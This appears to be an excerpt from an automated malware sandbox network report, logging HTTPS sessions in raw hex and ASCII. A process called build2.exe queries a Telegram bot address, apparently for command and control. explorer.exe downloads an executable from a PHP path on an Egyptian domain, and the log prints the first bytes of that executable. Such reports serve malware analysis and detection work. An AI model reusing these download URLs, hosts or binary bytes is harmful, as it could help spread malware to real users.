43 31 54 4b 67 36 Data Ascii: kGsQGHj2KzFo2E"]},-1],["cr:11202",[],{__rc:[null,"Aa3_Z93ogRfX-fJaVWtyNGjbB0DfENOgsEDP5oc7khrQYPfx828VP3YyxsjVUE2pgGES_UmY4U1IaR8F3g"]},-1],["cr:971473",["LayerHideOnTransition"],{__rc:["LayerHideOnTransition","Aa38964k_L9V5Vp-L9FMl9QcilWcbTzxa7P-tCC1TKg6
2023-05-28 08:43:48 UTC	2158	IN	Data Raw: 2c 22 41 61 33 5f 5a 39 33 6f 67 52 66 58 2d 66 4a 61 56 57 74 79 4e 47 6a 62 42 30 44 66 45 4e 4f 67 73 45 44 50 35 6f 63 37 6b 68 72 51 59 50 66 78 38 32 38 56 50 33 59 79 78 73 6a 56 55 45 32 70 67 47 45 53 5f 55 6d 59 34 55 31 49 61 52 38 46 33 67 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 32 36 38 33 22 2c 5b 22 77 61 72 6e 69 6e 67 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 77 61 72 6e 69 6e 67 42 6c 75 65 22 2c 22 41 61 33 57 75 64 78 4e 74 30 70 69 36 6e 31 66 32 35 33 49 62 36 37 72 41 72 43 72 4a 4b 66 78 31 56 4c 44 56 77 6d 70 6c 72 6a 44 72 34 6d 61 33 32 58 47 53 67 36 79 62 6a 53 4c 43 6f 55 55 37 41 65 69 4e 38 6c 70 43 4d 38 5a 46 6c 38 72 54 57 55 65 73 73 46 64 42 6d 50 58 22 5d 7d 2c 2d 31 5d 2c 5b 22 43 6f 72 65 57 61 72 6e 69 6e 67 47 Data Ascii: ,"Aa3_Z93ogRfX-fJaVWtyNGjbB0DfENOgsEDP5oc7khrQYPfx828VP3YyxsjVUE2pgGES_UmY4U1IaR8F3g"]},-1],["cr:2683",["warningBlue"],{__rc:["warningBlue","Aa3WudxNt0pi6n1f253Ib67rArCrJKfx1VLDVwmplrjDr4ma32XGSg6ybjSLCoUU7AeiN8lpCM8ZFl8rTWUessFdBmPX"]},-1],["CoreWarningG
2023-05-28 08:43:48 UTC	2159	IN	Data Raw: 6e 64 73 4c 6f 67 67 65 72 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 54 69 6d 65 53 70 65 6e 74 49 6d 6d 65 64 69 61 74 65 41 63 74 69 76 65 53 65 63 6f 6e 64 73 4c 6f 67 67 65 72 42 6c 75 65 22 2c 22 41 61 33 38 39 36 34 6b 5f 4c 39 56 35 56 70 2d 4c 39 46 4d 6c 39 51 63 69 6c 57 63 62 54 7a 78 61 37 50 2d 74 43 43 31 54 4b 67 36 36 65 2d 55 46 6e 5f 49 68 6e 52 41 7a 6b 6d 38 6b 39 4b 30 6a 55 54 63 45 38 77 35 51 43 49 50 53 6b 47 73 51 47 48 6a 32 4b 7a 46 6f 32 45 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 38 37 31 35 39 22 2c 5b 22 42 6c 75 65 43 6f 6d 70 61 74 42 72 6f 6b 65 72 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 42 6c 75 65 43 6f 6d 70 61 74 42 72 6f 6b 65 72 22 2c 22 41 61 33 38 39 36 34 6b 5f 4c 39 56 35 56 70 2d 4c 39 46 4d 6c 39 51 63 69 6c Data Ascii: ndsLoggerBlue"],{__rc:["TimeSpentImmediateActiveSecondsLoggerBlue","Aa38964k_L9V5Vp-L9FMl9QcilWcbTzxa7P-tCC1TKg66e-UFn_IhnRAzkm8k9K0jUTcE8w5QCIPSkGsQGHj2KzFo2E"]},-1],["cr:1187159",["BlueCompatBroker"],{__rc:["BlueCompatBroker","Aa38964k_L9V5Vp-L9FMl9Qcil
2023-05-28 08:43:48 UTC	2161	IN	Data Raw: 6e 67 22 2c 22 64 6f 4c 6f 67 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 57 65 62 53 74 6f 72 61 67 65 4d 6f 6e 73 74 65 72 22 2c 22 73 63 68 65 64 75 6c 65 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 41 72 74 69 6c 6c 65 72 79 22 2c 22 64 69 73 61 62 6c 65 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 53 63 72 69 70 74 50 61 74 68 4c 6f 67 67 65 72 22 2c 22 73 74 61 72 74 4c 6f 67 67 69 6e 67 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 54 69 6d 65 53 70 65 6e 74 42 69 74 41 72 72 61 79 4c 6f 67 67 65 72 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 44 65 66 65 72 72 65 64 43 6f 6f 6b 69 65 22 2c 22 61 64 64 54 6f 51 75 65 75 65 22 2c 5b 5d 2c 5b 22 5f 6a 73 5f 64 61 74 72 22 2c 22 52 42 52 7a 5a 42 42 30 32 32 66 30 6c 59 67 55 52 6d 76 54 46 54 69 35 22 2c 36 33 30 37 32 30 30 30 30 30 30 Data Ascii: ng","doLog",[],[]],["WebStorageMonster","schedule",[],[]],["Artillery","disable",[],[]],["ScriptPathLogger","startLogging",[],[]],["TimeSpentBitArrayLogger","init",[],[]],["DeferredCookie","addToQueue",[],["_js_datr","RBRzZBB022f0lYgURmvTFTi5",63072000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	50000	149.154.167.99	443	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:52 UTC	2162	OUT	GET /looking_glassbot HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me Cookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
2023-05-28 08:43:52 UTC	2162	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 28 May 2023 08:43:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12469 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-05-28 08:43:52 UTC	2163	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6c 6f 6f 6b 69 6e 67 5f 67 6c 61 73 73 62 6f 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @looking_glassbot</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){win

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49723	217.174.148.28	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:42:54 UTC	286	OUT	GET /tmp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: speedlab.com.eg
2023-05-28 08:42:54 UTC	286	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 08:52:06 GMT Server: Apache X-Powered-By: PHP/5.6.40 Content-Description: File Transfer Content-Disposition: attachment; filename=1dcb64b1.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2023-05-28 08:42:54 UTC	286	IN	Data Raw: 33 64 38 31 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 cd 0e 63 00 00 00 00 00 Data Ascii: 3d81MZ@!L!This program cannot be run in DOS mode.$&bbb\|\|\|HEXkb\|c\|c\|cRichbPELGc
2023-05-28 08:42:55 UTC	294	IN	Data Raw: a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~
2023-05-28 08:42:55 UTC	302	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	302	IN	Data Raw: 31 66 34 30 0d 0a 5f 5e 33 cd 5b e8 b0 09 00 00 c9 c3 6a 0c 68 08 7d 42 00 e8 6b 2a 00 00 33 c0 8b 7d 0c 33 f6 3b fe 0f 95 c0 3b c6 75 1f e8 a6 1b 00 00 c7 00 16 00 00 00 56 56 56 56 56 e8 2e 1b 00 00 83 c4 14 b8 ff ff 00 00 eb 2e 89 7d 0c 57 e8 53 29 00 00 59 89 75 fc 57 ff 75 08 e8 28 fe ff ff 59 59 0f b7 c0 89 45 e4 c7 45 fc fe ff ff ff e8 0a 00 00 00 66 8b 45 e4 e8 4e 2a 00 00 c3 ff 75 0c e8 93 29 00 00 59 c3 8b ff 55 8b ec 51 83 65 fc 00 56 8d 45 fc 50 ff 75 0c ff 75 08 e8 cc 2b 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 21 1b 00 00 85 c0 74 0a e8 18 1b 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 6a 0a 6a 00 ff 75 08 e8 e2 2e 00 00 83 c4 0c 5d c3 8b ff 55 8b ec ff 75 0c 6a 0a 6a 00 ff 75 08 e8 f4 2e 00 00 83 c4 10 5d c3 8b ff 55 8b ec Data Ascii: 1f40_^3[jh}Bk3}3;;uVVVVV..}WS)YuWu(YYEEfENu)YUQeVEPuu+u9Et!tM^Ujju.]Uujju.]U
2023-05-28 08:42:55 UTC	310	IN	Data Raw: 00 00 8b 45 e4 e8 cc 0a 00 00 c3 6a 04 e8 1a 35 00 00 59 c3 8b ff 55 8b ec 56 8b 75 08 83 fe e0 0f 87 a1 00 00 00 53 57 8b 3d 00 11 40 00 83 3d fc b0 42 00 00 75 18 e8 11 20 00 00 6a 1e e8 5f 1e 00 00 68 ff 00 00 00 e8 a1 1b 00 00 59 59 a1 e4 d6 66 00 83 f8 01 75 0e 85 f6 74 04 8b c6 eb 03 33 c0 40 50 eb 1c 83 f8 03 75 0b 56 e8 53 ff ff ff 59 85 c0 75 16 85 f6 75 01 46 83 c6 0f 83 e6 f0 56 6a 00 ff 35 fc b0 42 00 ff d7 8b d8 85 db 75 2e 6a 0c 5e 39 05 8c b5 42 00 74 15 ff 75 08 e8 4c 1a 00 00 59 85 c0 74 0f 8b 75 08 e9 7b ff ff ff e8 29 fb ff ff 89 30 e8 22 fb ff ff 89 30 5f 8b c3 5b eb 14 56 e8 25 1a 00 00 59 e8 0e fb ff ff c7 00 0c 00 00 00 33 c0 5e 5d c3 6a 0c 68 b0 7e 42 00 e8 a7 09 00 00 8b 75 08 85 f6 74 75 83 3d e4 d6 66 00 03 75 43 6a 04 e8 05 35 Data Ascii: Ej5YUVuSW=@=Bu j_hYYfut3@PuVSYuuFVj5Bu.j^9BtuLYtu{)0"0_[V%Y3^]jh~Butu=fuCj5
2023-05-28 08:42:55 UTC	317	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	317	IN	Data Raw: 31 66 34 30 0d 0a 68 93 87 40 00 e8 64 08 00 00 83 c4 24 a3 90 95 42 00 5e c3 8b ff 55 8b ec 51 51 53 8b 5d 08 56 57 33 f6 33 ff 89 7d fc 3b 1c fd 98 95 42 00 74 09 47 89 7d fc 83 ff 17 72 ee 83 ff 17 0f 83 77 01 00 00 6a 03 e8 f7 50 00 00 59 83 f8 01 0f 84 34 01 00 00 6a 03 e8 e6 50 00 00 59 85 c0 75 0d 83 3d 40 90 42 00 01 0f 84 1b 01 00 00 81 fb fc 00 00 00 0f 84 41 01 00 00 68 e8 19 40 00 bb 14 03 00 00 53 bf c8 ac 42 00 57 e8 40 e0 ff ff 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 23 db ff ff 83 c4 14 68 04 01 00 00 be e1 ac 42 00 56 6a 00 c6 05 e5 ad 42 00 00 ff 15 98 10 40 00 85 c0 75 26 68 d0 19 40 00 68 fb 02 00 00 56 e8 fe df ff ff 83 c4 0c 85 c0 74 0f 33 c0 50 50 50 50 50 e8 df da ff ff 83 c4 14 56 e8 82 c5 ff ff 40 59 83 f8 3c 76 38 56 e8 75 c5 ff Data Ascii: 1f40h@d$B^UQQS]VW33};BtG}rwjPY4jPYu=@BAh@SBW@tVVVVV#hBVjB@u&h@hVt3PPPPPV@Y<v8Vu
2023-05-28 08:42:55 UTC	325	IN	Data Raw: 3b d8 75 7f 8b 1d cc d6 66 00 eb 11 8b 53 04 8b 3b 23 55 f8 23 fe 0b d7 75 0a 83 c3 14 89 5d 08 3b d9 72 e8 3b d9 75 5b eb 0c 83 7b 08 00 75 0a 83 c3 14 89 5d 08 3b d8 72 f0 3b d8 75 31 8b 1d cc d6 66 00 eb 09 83 7b 08 00 75 0a 83 c3 14 89 5d 08 3b d9 72 f0 3b d9 75 15 e8 a0 fa ff ff 8b d8 89 5d 08 85 db 75 07 33 c0 e9 09 02 00 00 53 e8 3a fb ff ff 59 8b 4b 10 89 01 8b 43 10 83 38 ff 74 e5 89 1d d4 d6 66 00 8b 43 10 8b 10 89 55 fc 83 fa ff 74 14 8b 8c 90 c4 00 00 00 8b 7c 90 44 23 4d f8 23 fe 0b cf 75 29 83 65 fc 00 8b 90 c4 00 00 00 8d 48 44 8b 39 23 55 f8 23 fe 0b d7 75 0e ff 45 fc 8b 91 84 00 00 00 83 c1 04 eb e7 8b 55 fc 8b ca 69 c9 04 02 00 00 8d 8c 01 44 01 00 00 89 4d f4 8b 4c 90 44 33 ff 23 ce 75 12 8b 8c 90 c4 00 00 00 23 4d f8 6a 20 5f eb 03 03 Data Ascii: ;ufS;#U#u];r;u[{u];r;u1f{u];r;u]u3S:YKC8tfCUt\|D#M#u)eHD9#U#uEUiDMLD3#u#Mj _
2023-05-28 08:42:55 UTC	333	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	333	IN	Data Raw: 31 66 34 30 0d 0a da f7 d8 83 da 00 8b ca 8b d3 8b d9 8b c8 8b c6 5e c2 10 00 cc cc cc cc cc cc cc cc cc cc cc c6 85 70 ff ff ff fe 0a ed 75 4b d9 c9 d9 f1 eb 0d c6 85 70 ff ff ff fe 32 ed d9 ea de c9 e8 3b 01 00 00 d9 e8 de c1 f6 85 61 ff ff ff 01 74 14 d9 e8 83 3d 30 b4 42 00 01 74 04 de f1 eb 05 e8 9d 3b 00 00 f6 c2 40 75 02 d9 fd 0a ed 74 02 d9 e0 e9 72 d4 ff ff e8 46 01 00 00 0b c0 74 14 32 ed 83 f8 02 74 02 f6 d5 d9 c9 d9 e1 eb 9f e9 68 d4 ff ff e9 fe d4 ff ff dd d8 dd d8 db 2d e0 9d 42 00 c6 85 70 ff ff ff 02 c3 d9 ed d9 c9 d9 e4 9b dd bd 60 ff ff ff 9b f6 85 61 ff ff ff 41 75 d2 d9 f1 c3 c6 85 70 ff ff ff 02 dd d8 db 2d ea 9d 42 00 c3 0a c9 75 53 c3 d9 ec eb 02 d9 ed d9 c9 0a c9 75 ae d9 f1 c3 e9 0e d4 ff ff e8 cf 00 00 00 dd d8 dd d8 0a c9 75 0e Data Ascii: 1f40^puKp2;at=0Bt;@utrFt2th-Bp`aAup-BuSuu
2023-05-28 08:42:55 UTC	341	IN	Data Raw: ff ff c9 c3 8b ff 55 8b ec 8b 45 14 83 f8 65 74 5f 83 f8 45 74 5a 83 f8 66 75 19 ff 75 20 ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 20 fe ff ff 83 c4 14 5d c3 83 f8 61 74 1e 83 f8 41 74 19 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 b5 fe ff ff eb 30 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 77 f9 ff ff eb 17 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 6e f8 ff ff 83 c4 18 5d c3 8b ff 55 8b ec 6a 00 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 5a ff ff ff 83 c4 1c 5d c3 8b ff 56 68 00 00 03 00 68 00 00 01 00 33 f6 56 e8 48 27 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 7c 7c ff ff 83 c4 14 5e c3 8b ff 55 8b ec 83 ec 18 dd 05 a0 23 40 00 dd 5d f0 dd 05 98 23 40 00 dd 5d e8 dd 45 e8 dc 75 f0 dc 4d f0 dc 6d Data Ascii: UEet_EtZfuu uuuu ]atAtu uuuuu0u uuuuuwu uuuuun]UjuuuuuuZ]Vhh3VH'tVVVVV\|\|^U#@]#@]EuMm
2023-05-28 08:42:55 UTC	349	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	349	IN	Data Raw: 31 66 34 30 0d 0a 83 ca 01 dc 0d f4 a0 42 00 db 7c 24 18 dc 0d f4 a0 42 00 db 3c 24 eb 20 d9 7c 24 24 8b 44 24 24 0d 00 03 00 00 89 44 24 28 d9 6c 24 28 dd d8 dc 0d f4 a0 42 00 db 3c 24 d9 6c 24 24 e8 54 fd ff ff 83 c4 30 5a c3 d9 f8 83 c4 30 5a c3 50 53 51 8b 44 24 16 35 00 07 00 00 a9 00 07 00 00 0f 85 83 01 00 00 c1 e8 0b 83 e0 0f 80 b8 dc a0 42 00 00 0f 84 70 01 00 00 8b 44 24 16 25 00 00 ff 7f 3d 00 00 ff 7f 0f 84 5c 01 00 00 8b 44 24 2e 25 00 00 ff 7f 0f 84 4d 01 00 00 3d 00 00 ff 7f 0f 84 42 01 00 00 8b 44 24 2c 03 c0 0f 85 36 01 00 00 8b 44 24 14 03 c0 0f 85 2a 01 00 00 8b 44 24 18 25 ff 7f 00 00 83 c0 3f 8b 5c 24 30 81 e3 ff 7f 00 00 2b d8 77 5e 8b 44 24 18 25 ff 7f 00 00 83 c0 0a 8b 5c 24 30 81 e3 ff 7f 00 00 2b d8 0f 88 f2 00 00 00 db 6c 24 28 Data Ascii: 1f40B\|$B<$ \|$$D$$D$(l$(B<$l$$T0Z0ZPSQD$5BpD$%=\D$.%M=BD$,6D$*D$%?\$0+w^D$%\$0+l$(
2023-05-28 08:42:55 UTC	357	IN	Data Raw: 1f 41 00 99 1f 41 00 de 1f 41 00 16 20 41 00 2a 20 41 00 85 20 41 00 70 20 41 00 ef 20 41 00 e4 20 41 00 93 20 41 00 8b ff 55 8b ec 83 ec 74 a1 80 92 42 00 33 c5 89 45 fc 53 8b 5d 1c 56 57 8d 75 08 8d 7d f0 a5 a5 66 a5 8b 55 f8 8b ca b8 00 80 00 00 23 c8 81 e2 ff 7f 00 00 89 5d a0 c6 45 d0 cc c6 45 d1 cc c6 45 d2 cc c6 45 d3 cc c6 45 d4 cc c6 45 d5 cc c6 45 d6 cc c6 45 d7 cc c6 45 d8 cc c6 45 d9 cc c6 45 da fb c6 45 db 3f c7 45 8c 01 00 00 00 89 4d 90 66 85 c9 74 06 c6 43 02 2d eb 04 c6 43 02 20 8b 75 f4 8b 7d f0 66 85 d2 75 2f 85 f6 75 2b 85 ff 75 27 33 d2 66 3b c8 0f 95 c0 fe c8 24 0d 04 20 66 89 13 88 43 02 c6 43 03 01 c6 43 04 30 88 53 05 33 c0 40 e9 1e 08 00 00 b8 ff 7f 00 00 66 3b d0 0f 85 9f 00 00 00 33 c0 40 66 89 03 b8 00 00 00 80 3b f0 75 04 85 Data Ascii: AAA A* A Ap A A A AUtB3ES]VWu}fU#]EEEEEEEEEEEE?EMftC-C u}fu/u+u'3f;$ fCCC0S3@f;3@f;u
2023-05-28 08:42:55 UTC	364	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	364	IN	Data Raw: 31 66 34 30 0d 0a 53 db 71 dd e0 e2 5c 36 ec 32 38 c0 b0 62 66 4b 1e f2 59 77 d6 90 23 24 49 e3 c6 da 3c b0 df cb f6 fc e1 54 39 5c f8 84 39 66 18 a3 0d 7e 3d 81 2b 7e 1b cc 22 c0 5a 52 d5 1c 77 ee 6b 5c 54 00 be ac 92 f6 e3 ee b6 70 1a 77 6b 12 54 85 a3 10 ea 73 63 5f f7 98 98 36 dc b5 2d 37 a0 51 54 38 79 4d 48 70 a1 c7 19 a5 cd 2a ba 66 af c7 e6 e0 66 77 42 6a 37 99 e0 04 be 3d c7 98 93 5f f9 a3 75 14 44 bd bc 89 f8 c2 4b ec 0e fd c3 b3 c0 08 25 9f 55 2d 2b 9a 89 90 37 48 e3 d4 5d e8 7c e9 5a 06 bb 61 8d 15 36 79 aa 86 1b 4d 98 56 66 35 ee d5 e2 41 9c 7a b3 a6 21 99 6f 6c aa de 5c fa 0b e6 ae 4a 7b 33 9e 4f 46 99 30 9a 66 55 cd 29 2a 35 61 e5 3d 16 ae 30 32 8b 86 a4 dc af f9 e2 49 eb 8f fe 25 49 22 a2 07 b0 fe 7a 14 5b 7b 99 a0 bd c0 94 67 db 0b 4b f0 Data Ascii: 1f40Sq\628bfKYw#$I<T9\9f~=+~"ZRwk\TpwkTsc_6-7QT8yMHpffwBj7=_uDK%U-+7H]\|Za6yMVf5Az!ol\J{3OF0fU)5a=02I%I"z[{gK
2023-05-28 08:42:55 UTC	372	IN	Data Raw: 6f fb c3 d6 89 39 83 05 65 e9 3c ad c8 e9 ff 82 8b 87 4c c6 8d 23 e4 d4 30 c2 75 e7 10 71 55 39 eb eb ea fc f9 ca 9b 7e 0e a3 3b 6f f8 68 c5 8b 78 23 83 3d 1b 23 d6 2f 8a 7a fd 17 3b 50 e3 d5 a2 1a fb 95 86 8d d8 68 2b a0 c5 80 84 e3 b1 1d ab bf b4 8a 48 5f e3 47 d7 e3 71 28 ad ae ba ea 23 55 11 3e 2e 4c 80 17 58 88 b3 0c f6 72 f2 9c 12 c8 85 1c e4 11 03 da 1a d0 9c f8 e0 65 2a 9e b0 7d 90 4b 46 93 86 d1 35 b9 7a 51 6f c6 a6 ef 13 c8 b2 fd 43 eb 9e 3a 69 08 20 2c d3 6c 85 7f d7 44 74 eb 1d fe 09 7d c6 19 d8 12 bf 1e e8 f6 f8 79 17 d0 c8 80 dc 0f 8b b5 81 9b 16 49 6f 72 24 b6 77 7a 16 e6 5b fc c7 20 3e c9 bb 57 50 41 cb 84 6d 1f 2d 14 d9 3f cc 4c 6b ea 53 83 52 5a cf de 86 9c 1a cb 31 45 14 90 5b fa 5a be 6a dc be de f6 95 d6 98 73 0e 5f 1f a5 03 33 77 78 Data Ascii: o9e<L#0uqU9~;ohx#=#/z;Ph+H_Gq(#U>.LXre*}KF5zQoC:i ,lDt}yIor$wz[ >WPAm-?LkSRZ1E[Zjs_3wx
2023-05-28 08:42:55 UTC	380	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	380	IN	Data Raw: 31 66 34 30 0d 0a 98 46 3c 39 3b d9 78 a3 e6 f8 07 4b 0c b1 51 5b 81 a8 e1 3e 03 d3 e5 2c d4 cb a7 97 b5 69 e6 e5 54 97 e5 fa cc c4 91 ab 45 b3 6c f9 67 fa c2 72 24 bc 52 ea 4a 9b 50 16 68 06 a6 f3 06 e8 1f 9d 71 73 d4 8e a6 dc ec 2b c6 f8 36 d6 c8 96 61 37 57 e9 5b f8 b4 a6 c2 cd 16 d3 3b 0a 33 c5 ce d7 ab ed 8b d0 3e 8f a8 3a 87 a7 84 05 52 05 e4 71 5a d0 c5 61 82 02 86 20 a1 fd b6 60 55 e3 ca c5 50 f8 5d ef 9b 62 11 ce 1c 55 18 24 78 7f 0f 6d 5d af 13 ff dc cf e9 2f a4 08 0a 14 df 4d 61 f4 fd 47 59 c2 86 1c 1c df d1 05 ee 41 3e f7 f4 f7 b7 a2 b3 3b da 85 15 2c ca 92 95 6a e2 75 95 5a 81 1a 51 4e 3e ab a8 46 17 b7 24 52 bd 88 58 0b 77 e9 71 a5 49 b7 4e e6 8d 13 9f 5c f2 e0 ac f7 b6 c0 a1 06 9e cc 1e af 31 21 59 85 b7 2d 29 a8 c6 f1 b1 84 1d 8d 63 03 74 Data Ascii: 1f40F<9;xKQ[>,iTElgr$RJPhqs+6a7W[;3>:RqZa `UP]bU$xm]/MaGYA>;,juZQN>F$RXwqIN\1!Y-)ct
2023-05-28 08:42:55 UTC	388	IN	Data Raw: 84 98 79 df cd 1c dd b3 ee 44 97 68 83 ac 19 d3 8e 5c 86 c7 f0 88 24 3c 88 a1 e8 b4 b9 ba fa 53 6f 2b 68 3f 7e fd 7d 33 8a 90 62 69 33 de 6d 07 ae 87 b3 2e 3d 12 31 6b 47 02 db 56 cc 0f 7c be c7 d7 b0 f7 84 c5 78 aa 23 5d c6 13 de 3e e2 c5 64 98 f3 f0 4a 26 9e 34 93 4d e0 c2 2d 31 9e 5e d5 cf 1d a9 90 05 29 35 5b d2 68 16 1c bc c1 e2 cb 79 e6 b0 48 db 7f 5c 90 25 6a 9a eb a1 61 14 12 53 e4 86 79 cd d0 39 70 ce 3a 63 f7 c3 c6 dd 51 62 09 8f a9 36 84 ae 60 fb 19 d5 d5 87 6e 3d fc e6 67 bd 6f ce c4 c7 63 b1 13 5b 89 ba 63 82 31 1a 4b b2 9f ec 67 7f 97 04 82 ed 80 57 4b 86 f1 90 f0 1b f0 ed 69 ae f1 ed 1c 67 a0 ef 65 82 bb 5b 63 d3 4c ab 4c 20 49 cd 1e 7f 3b 84 bd 1d 8e 9b a7 4e 5c 41 77 73 f0 96 72 04 7e 57 9b cd 08 17 d4 62 8b fd 7d 34 96 6f b1 9d d0 a0 67 Data Ascii: yDh\$<So+h?~}3bi3m.=1kGV\|x#]>dJ&4M-1^)5[hyH\%jaSy9p:cQb6`n=goc[c1KgWKige[cLL I;N\Awsr~Wb}4og
2023-05-28 08:42:55 UTC	396	IN	Data Raw: 0d 0a Data Ascii:
